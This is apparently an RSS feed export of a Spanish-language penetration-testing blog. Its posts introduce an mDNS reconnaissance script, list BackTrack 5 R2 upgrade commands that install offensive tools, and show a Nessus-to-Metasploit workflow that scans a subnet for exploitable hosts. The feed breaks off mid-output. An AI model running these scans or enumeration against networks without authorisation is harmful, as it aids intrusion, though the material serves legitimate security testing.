<?xml version="1.0" encoding="UTF-8"?>
<!--Generated by Squarespace V5 Site Server v5.13.166 (http://www.squarespace.com) on Thu, 20 Jun 2013 01:58:14 GMT--><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><title>Espanol</title><link>http://www.darkoperator.com/es/</link><description></description><lastBuildDate>Wed, 11 Jul 2012 12:48:08 +0000</lastBuildDate><copyright>Carlos Perez 2012</copyright><language>en-US</language><generator>Squarespace V5 Site Server v5.13.166 (http://www.squarespace.com)</generator><item><title>MDNSRecon</title><category>Backtrack</category><category>MDNS</category><category>Ruby</category><category>Script</category><dc:creator>Carlos Perez</dc:creator><pubDate>Wed, 11 Jul 2012 12:48:08 +0000</pubDate><link>http://www.darkoperator.com/es/2012/7/11/mdnsrecon.html</link><guid isPermaLink="false">336454:14640213:17898301</guid><description><![CDATA[<p>Hace poco me encontraba comversando con mi buen amigo Elliot Cutright tambien conocido como @nullthreat en twitter sobre los recientes cambios que he echo a  DNSRecon y algunas de las mejoras. Me commento que uno de las capacidades originales de enumerar MDNS que tenia a principio era la que mas extranaba. Debido a que me movi a apoyar Python 3.x en adicion a  Python 2.x y el abandono de la libreria que usaba para ello por el autor. MDNS es una tremenda manera de poder conseguir informacion sobre aquellas maquinas en tu mismo subnet que tengan el servicio de ZeroConf, Bonjour or MDNS anunciando capacidades, los  records de MDSN son similares a los de DNS SRV donde conseguimos que se nos devuelva el servicio, blanco, puerto y hasta un record tipo texto con informacion adicional. En adicion a la informacion que se obtiene se puede resolver el IP del blanco tanto para IPv4 y para IPv6.</p>
<p>Basado en su peticion escribi un script en Ruby que se aprovechara de la herramienta avahi-browser y me puse como metas:</p>
<ul>
<li>Detectar la mayoria de records conocidos en la red donde se encuentre connectado el atacante.</li>
<li>Resolver los hosts que se encuentren y excluir aquellos records que la maquina del atacante misma este communicando.</li>
<li>Asegurarse que la data sea de vuelta en una manera donde pueda ser procesada y manipulada de manera facil por el atacante.</li>
</ul>
<p>El script que resulto lo llame MDNSRecony lo pueden bajar de mi GitHub en <a href="https://github.com/darkoperator/MDNSRecon">https://github.com/darkoperator/MDNSRecon.</a> </p>
<p>Este es el mensage de ayuda del mismo:</p>
<pre style="margin: 8px;">root@bt:~# ./mdnsrecon.rb -h<br /> MDNSRecon Script by Carlos Perez (carlos_perez[at]darkoperator.com)<br />Version 0.1<br />Usage: mdnsrecon.rb [OPTION]<br /> --help, -h:<br /> show help<br /> --csv &lt;file&gt;, -c &lt;file&gt;:<br /> CSV File to save records found.<br /> --grep, -g:<br /> Output grepable Output with a delimiter of \<br /> &lt;service&gt;\domain\host\IP\port\txt<br />If no option is given it will print records found to standard output.</pre>
<p>Si corremos el mismo sin ninguna opcion este imprimira aquellos records que encuentre en pantalla:</p>
<pre style="margin: 8px;">root@bt:~# ./mdnsrecon.rb <br />[-] Records found:<br />[*] Host: bt.local<br />[*] IP: 192.168.192.128<br />[*] Port: 9<br />[*] Service:Workstation<br />[*] Text:''<br />[*] <br />[*] Host: ubuntu.local<br />[*] IP: 192.168.192.129<br />[*] Port: 9<br />[*] Service:Workstation<br />[*] Text:''<br />[*] <br />[*] Host: ubuntu.local<br />[*] IP: 192.168.192.129<br />[*] Port: 22<br />[*] Service:_udisks-ssh._tcp<br />[*] Text:''<br />[*]</pre>
<p>Si queremos el formato en una manera donde podemos usar grep y cut para manipular facil mente el resultado usamos la opcion -g, en el ejemplo buscamos las maquinas con servicio SSH:</p>
<pre style="margin: 8px;">root@bt:~# ./mdnsrecon.rb -g | grep ssh |cut -d '\' -f4,5 --output-delimiter=" " -n<br />192.168.192.129 22</pre>
<p>En caso que queramos usar otra herramienta como Excel o PowerShell para manipular gandes numeros de resultados o queremos compartir los mismos en una manera facil de entender podemos crear un archivo CSV con los resultado con -c o --csv:</p>
<pre style="margin: 8px;">root@bt:~# ./mdnsrecon.rb -c lab.csv<br />[-] Saving found records to lab.csv<br />[*] 3 Records saved</pre>
<pre style="margin: 8px;">root@bt:~# cat lab.csv <br />service,domain,host,ip,port,txt<br />Workstation,local,bt.local,192.168.192.128,9,''<br />_udisks-ssh._tcp,local,ubuntu.local,192.168.192.129,22,''<br />Workstation,local,ubuntu.local,192.168.192.129,9,''</pre>
<p>Hasta el momento solo estoy apoyando Debian, Ubuntu y Backtrack 5 como las plataformas donde se puede usar el script, Bactrack siendo la recomendada. Anadire otras distribuciones de Linux si la demanda lo amerita. Espero que encuentren el mismo util y como todo projecto que hago el insumo de ideas, mejoras o problemas siempre es bienvenido.</p>]]></description><wfw:commentRss>http://www.darkoperator.com/es/rss-comments-entry-17898301.xml</wfw:commentRss></item><item><title>Bactrack 5 R2</title><dc:creator>Carlos Perez</dc:creator><pubDate>Thu, 01 Mar 2012 22:05:28 +0000</pubDate><link>http://www.darkoperator.com/es/2012/3/1/bactrack-5-r2.html</link><guid isPermaLink="false">336454:14640213:15259865</guid><description><![CDATA[<p>Hoy es la salida de la nueva versión de la distribución de Linux Backtrack la cual esta hecha específicamente para profesionales y entusiastas en el área de seguridad. La misma esta llena de nuevas herramientas, arreglos y un nuevo kernel de Linux hecho a la medida para poder ejecutar diferentes pruebas y ataques. </p>

<p>Durante años he usado la distribución para investigaciones, pruebas de penetración, auditorias de seguridad, plataforma de desarrollo y e tenido el honor de tener varias herramientas que he escrito a través de los años incluidas con la distribución. El trabajo que hace el equipo que mantiene esta distribución es uno monumental ya que en su mayoría es voluntario el mismo, el equipo esta compuesto por profesionales y aficionados de la seguridad en informática alrededor del mundo. Esta distribución se ha convertido en el estándar para otras distribuciones. Aunque  mucho mi trabajo lo hago desde una Mac siempre tiendo a usar a Backtrack como una de las herramientas principales en gran parte por toda la costumizacion que se ha hecho en la misma para correr las ultimas herramientas de seguridad las cuales pueden ser bien difíciles de instalar y mantener. En adición el apoyo a tarjetas inalámbricas y cuyos componentes han sido optimizados en el Kernel costumizado de la distribución. </p>

<p>Se podrá bajar la misma usando Torrent inicialmente y luego se podrá bajar de manera directa de la pagina de ellos en http://www.backtrack-linux.org/downloads/ tanto como un ISO y como una maquina virtual de VMware pre-instalada.</p>

<p>Si se tiene una maquina virtual o física con Backtrack 5 R1 se le puede hacer upgrade a la misma desde la linea de comando. Para esto comenzamos con accesar la misma como root. Una vez dentro de la misma tenemos que estar seguros que tenemos conexión al internet si no la tenemos. </p>

<ol>
<li>Subimos el subsistema de red si no tenemos conexión ejecutando el comando de start:</li>
</ol>

<pre>
start networking
</pre>

<p>Luego nos aseguramos que tengamos un IP del servidor DHCP en la red donde nos encontremos:</p>

<pre>
dhclient
</pre>

<p>Probamos la conexión usando del comando de ping:</p>

<pre>
ping 8.8.8.8
</pre>

<ol>
<li>Nos aseguramos de estar corriendo las ultimas versiones de los programas y hacemos una actualización de distribución usando apt-get:</li>
</ol>

<pre>
apt-get update 
apt-get dist-upgrade -y
fix-splash
</pre>

<ol>
<li>Una vez la maquina termine de subir entre de nuevo en la misma y asegurase que esta corriendo con el Kernel 3.2.6:</li>
</ol>

<pre>
uname -a
</pre>

<ol>
<li>Instalemos todas las nuevas herramientas que ahora están disponibles en R2:</li>
</ol>

<pre>
apt-get install pipal findmyhash metasploit joomscan hashcat-gui golismero easy-creds pyrit sqlsus vega libhijack tlssled hash-identifier wol-e dirb reaver wce sslyze magictree nipper-ng rec-studio hotpatch xspy arduino rebind horst watobo patator thc-ssl-dos redfang findmyhash killerbee goofile bt-audit bluelog extundelete se-toolkit casefile sucrack dpscan dnschef beef -y
</pre>

<ol>
<li>Anadan el repositorio para la nueva version de manera de usar los updates de R2 y nos los de R1 y corramos de nuevo upgrade:</li>
</ol>

<pre>
echo "deb http://updates.repository.backtrack-linux.org revolution main microverse non-free testing" >> /etc/apt/sources.list 
apt-get update 
apt-get dist-upgrade -y
</pre>

<p>Cuando llegue a este punto solo presione Enter:</p>

<pre>
Configuration file `/etc/issue'
 ==> Modified (by you or by a script) since installation.
 ==> Package distributor has shipped an updated version.
   What would you like to do about it ?  Your options are:
    Y or I  : install the package maintainer's version
    N or O  : keep your currently-installed version
      D     : show the differences between the versions
      Z     : background this process to examine the situation
 The default action is to keep your current version.
*** issue (Y/I/N/O/D/Z) [default=N] ? 
</pre>

<p>Siempre escoja los defaults, cuando se le pregunte si quiere continuar sin instalar GRUB seleccione que si. 
6. Varios servicios son habilitados al ser llevados a la ultima versión, recomiendo que des habiliten los mismos de manera de presentar un blanco de menor superficie de ataque y ahorrar recursos:</p>

<pre>
/etc/init.d/apache2 stop
/etc/init.d/cups stop
/etc/init.d/winbind stop
update-rc.d -f cups remove 
update-rc.d -f apache2 remove 
update-rc.d -f winbind remove
</pre>

<p>Con la salida de BT5 R2 tambien hay nuevos artículos en el Wiki de ellos http://www.backtrack-linux.org/wiki/index.php/Main_Page</p>
]]></description><wfw:commentRss>http://www.darkoperator.com/es/rss-comments-entry-15259865.xml</wfw:commentRss></item><item><title>Nessus 5 Haciendo My Workflow de Pentesting mas F&amp;aacute;cil</title><dc:creator>Carlos Perez</dc:creator><pubDate>Fri, 17 Feb 2012 02:03:37 +0000</pubDate><link>http://www.darkoperator.com/es/2012/2/17/nessus-5-haciendo-my-workflow-de-pentesting-mas-faacutecil.html</link><guid isPermaLink="false">336454:14640213:15068246</guid><description><![CDATA[<p align="left">Recientemente Nessus 5 fue lanzado con muchas mejoras en filtrado tanto en creación de políticas como en el análisis de reportes, también incluye mejoras en el motor de pruebas haciéndolo mas rápido y liviano en términos de recursos. De todas estas nuevas capacidades mi favorita lo es la capacidad de filtrado en creación de plugins y análisis. Por mucho tiempo mantuve una copia de un listado de varios números de ID de plugins que detectaban los exploits mas comunes en Metasploit para uso con nessuscmd en mis proyectos. Ahora con la nueva capacidad de filtrado puedo escoger aquellos plugin que cubran agujeros de seguridad que contengan exploits en los Frameworks com Core Impact y CANVAS, tanto agujeros remotos como locales. En este articulo cubriré como crear una política que cubra todos los plugin que abarquen a Metasploit. Comenzamos con entrar a la aplicación y&#160; pulsar sobre <strong>Policies</strong>: <a href="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16635165" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="Screen Shot 2012-02-16 at 11.34.26 AM" border="0" alt="Screen Shot 2012-02-16 at 11.34.26 AM" src="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16635167" width="705" height="441" /></a></p>  <p align="left">Una vez en en listado de políticas pulsamos sobre <strong>Add</strong> donde somos llevados a la próxima pantalla donde podemos entrar un nombre para la política al igual que una descripción para la misma, el resto de los parámetros los podemos dejar como están:</p>  <p align="left"><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16635169" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="Screen Shot 2012-02-16 at 11.35.51 AM" border="0" alt="Screen Shot 2012-02-16 at 11.35.51 AM" src="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16635171" width="730" height="456" /></a></p>  <p align="left">Podemos pasar a la sección de credenciales pulsando en <strong>Next </strong>en esta parte podemos entrar cualquier credencial que podamos tener de antemano y en el caso de Windows podemos usar también hashes de NTLM, esto nos ayudara a encontrar posibles agujeros que permitan ataques contra usuarios si las configuraciones de otras maquinas son similares.</p>  <p align="left"><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16635176" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="Screen Shot 2012-02-16 at 11.36.15 AM" border="0" alt="Screen Shot 2012-02-16 at 11.36.15 AM" src="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16635177" width="731" height="457" /></a></p>  <p align="left">Ahora nos movemos a la próxima sección pulsando sobre <strong>Next</strong>:</p>  <p align="left"><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16635178" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="Screen Shot 2012-02-16 at 11.36.29 AM" border="0" alt="Screen Shot 2012-02-16 at 11.36.29 AM" src="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16635179" width="711" height="444" /></a></p>  <p align="left">Comenzamos por pulsar sobre&#160; <strong>Disable All</strong> y luego pulsamos sobre <strong>Add Filter</strong> para crear un filtro nuevo, el mismo seria donde escogemos como campo <strong>Metasploit Exploit Framework,</strong>escogemos la acción de <strong>is equal to</strong> y como calor <strong>true, </strong>pulsamos sobre <strong>Save</strong> para aplicar el filtro<strong>:</strong></p>  <p align="left"><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16635181" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="Screen Shot 2012-02-16 at 11.36.54 AM" border="0" alt="Screen Shot 2012-02-16 at 11.36.54 AM" src="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16635182" width="711" height="443" /></a></p>  <p align="left">Para escoger los plugins dentro de los filtros pulsamos sobre el nombre de la familia y no sobre el circulo al lado del mismo, en la sección de plugins pulsamos sobre <strong>Enable Plugins </strong>para habilitar los que cumplen con el filtro:<strong>&#160;<a href="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16635185" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="Screen Shot 2012-02-16 at 11.37.14 AM" border="0" alt="Screen Shot 2012-02-16 at 11.37.14 AM" src="http://www.darkoperator.com/resource/Windows-Live-Writer-1af9dc751b7f_BB10-?fileId=16635187" width="727" height="453" /></a></strong></p>  <p align="left">Ahora pulsamos sobre <strong>Next</strong> y después sobre <strong>Save</strong> para guardar la politica.</p>  <p align="left">Una vez guardado puede ser usado desde el plugin de nessus que viene con Metasploit. Podemos usar la consola tanto en Armitage, MSFConsole o en&#160; Metasploit Community/Pro/Express para cargar el mismo:</p>  <div align="left">   <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">msf &gt; <strong>load nessus</strong> 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">[*] Nessus Bridge for Metasploit 1.1
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">[+] Type nessus_help for a command listing
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Successfully loaded plugin: nessus</pre></pre>
</div>

<p align="left"><style type="text/css">







.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style></p>

<p align="left">Una vez cargado podemos usar el comando de <strong>nessus_connect</strong> para conectarnos y podemos listar las políticas con&#160; <strong>nessus_policy_list</strong>:</p>

<div align="left">
  <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">msf &gt; <strong>nessus_connect carlos:contasena@localhost ok</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">[*] Connecting to https://localhost:8834/ as carlos
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 25px; font-size: 11px">[*] Authenticated
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">msf &gt; <strong>nessus_policy_list</strong> 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[+] Nessus Policy List
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">[+] 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 17px; font-size: 11px">ID  Name                        Comments
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">--  ----                        --------
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 23px; font-size: 11px">-1  External Network Scan       
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">-2  Internal Network Scan       
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">-3  Prepare for PCI DSS audits  
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">-4  Web App Tests               
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">6   Metasploit Exploits         </pre></pre>
</div>
<style type="text/css">







.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>

<p align="left">Ahora podemos usar la política para lanzar un nuevo scan usando el comando de <strong>nessus_scan_new</strong> pasándole el ID de la política, un nombre y el rango de IPs a ser examinados:</p>

<div align="left">
  <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 650px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 23px; font-size: 11px">msf &gt; <strong>nessus_scan_new 6 &quot;contoso pentest&quot; 192.168.1.1-241</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.14%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 23px; font-size: 11px">[*] Creating scan from policy number 6, called &quot;contoso pentest&quot; and scanning 192.168.1.1-241
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*] Scan started.  uid is 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554</pre></pre>
</div>

<p align="left">Podemos monitorear el status del scan usando el comando de <strong>nessus_scan_status</strong>:</p>
<style type="text/css">







.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>

<div align="left">
  <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 25px; font-size: 11px">msf &gt; <strong>nessus_scan_status</strong> 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 24px; font-size: 11px">[+] Running Scans
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 28px; font-size: 11px">[+] 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">Scan ID                                               Name             Owner   Started            Status   Current Hosts  Total Hosts
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 17px; font-size: 11px">-------                                               ----             -----   -------            ------   -------------  -----------
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554  contoso pentest  carlos  11:53 Feb 16 2012  running  217            241
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">[+] 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 23px; font-size: 11px">[*] You can:
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">[+]         Import Nessus report to database :     nessus_report_get <span style="color: #0000ff">&lt;</span><span style="color: #800000">reportid</span><span style="color: #0000ff">&gt;</span>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 24px; font-size: 11px">[+]         Pause a nessus scan :             nessus_scan_pause <span style="color: #0000ff">&lt;</span><span style="color: #800000">scanid</span><span style="color: #0000ff">&gt;</span>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">msf &gt;</pre></pre>
</div>

<p align="left">Una vez terminado el scan podemos usar el comando de <strong>nessus_report_list</strong> para ver el ID reporte de los resultados:</p>

<div align="left">
  <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">msf &gt; <strong>nessus_report_list</strong> 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 19px; font-size: 11px">[+] Nessus Report List
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">[+] 
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">ID                                                    Name             Status     Date
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">--                                                    ----             ------     ----
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 24px; font-size: 11px">396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554  contoso pentest  completed  11:58 Feb 16 2012
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">[*] You can:
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[*]         Get a list of hosts from the report:          nessus_report_hosts <span style="color: #0000ff">&lt;</span><span style="color: #800000">report</span> <span style="color: #ff0000">id</span><span style="color: #0000ff">&gt;</span></pre></pre>
</div>
<style type="text/css">







.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>

<p align="left">Ahora que tenemos el ID del reporte podemos bajar el mismo a un nuevo workspace de manera de evitar conflicto con otra data de otros blancos o de otros clientes, para importar el reporte se usa el comando de&#160; <strong>nessus_report_get</strong>:</p>

<div align="left">
  <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">msf &gt; <strong>workspace -a contoso</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 24px; font-size: 11px">[*] Added workspace: contoso
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 21px; font-size: 11px">msf &gt; <strong>nessus_report_get 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 22px; font-size: 11px">[*] importing 396a6c4f-e8ab-c752-6ee1-5bc3c13303df24456a407318b554
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100.11%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; height: 20px; font-size: 11px">[*] 192.168.1.99
